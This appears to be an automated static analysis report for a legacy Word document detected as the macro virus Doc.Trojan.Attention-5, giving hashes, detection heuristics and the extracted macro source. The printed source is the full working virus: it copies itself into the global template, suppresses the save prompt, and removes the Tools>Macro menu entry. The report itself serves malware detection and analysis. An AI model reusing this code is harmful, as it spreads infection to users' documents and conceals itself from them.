Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b662971b21a712c1…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-12-31 17:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e2cdbfaaf25828458bc2eaa2151e37a SHA-1: aa2d4ddedeee7fcfe504043195573886709491ed SHA-256: b662971b21a712c19fc124c232c85d5b313aa1e2db375f4bad947958390e879d
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro markers and an AutoOpen macro, indicating a self-replicating macro virus. The script attempts to copy itself to the global template using the 'Global:AutoOpen' macro name, which is a common technique for persistence and spread. The specific family is not identifiable from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Attention-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Attention-5
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1392 bytes
SHA-256: 3deb932a374d6dcf7fdfca5718e69720bcb4b561140344902d8a484a002f4362
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Rem ------------------------------
Rem !!!!Attention!!!!Attention!!!!
Rem ------------------------------
Rem This is *NOT* a Wazzu Varient!
Rem This Virus is called AntiFWIN!
Rem FWIN's Heuristics do not Work!
Rem ------------------------------

Public Sub MAIN()
Dim File$
Dim Global_$
Dim TheString$
Dim Macro$
Dim Return_
Dim TheFormat
On Error Resume Next

File$ = WordBasic.[FileName$]() + ":AutoOpen"
Global_$ = "Global:AutoOpen"

TheString$ = WordBasic.[MacroFileName$](WordBasic.[MacroName$](0))
Macro$ = UCase(WordBasic.[Right$](TheString$, 10))

If Macro$ = "NORMAL.DOT" Then
Return_ = CopyVirus(Global_$, File$)
TheFormat = Asc(Chr(1))
WordBasic.FileSaveAs Format:=TheFormat
Else
Return_ = CopyVirus(File$, Global_$)
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
End If

If WordBasic.[MenuItemText$]("Tools", 0, 13) = "&Macro..." Then
WordBasic.ToolsCustomizeMenus Name:="ToolsMacro", Menu:="Tools", Remove:=1
End If

End Sub

Private Function CopyVirus(From$, To_$)
On Error Resume Next
WordBasic.MacroCopy From$, To_$, 1
End Function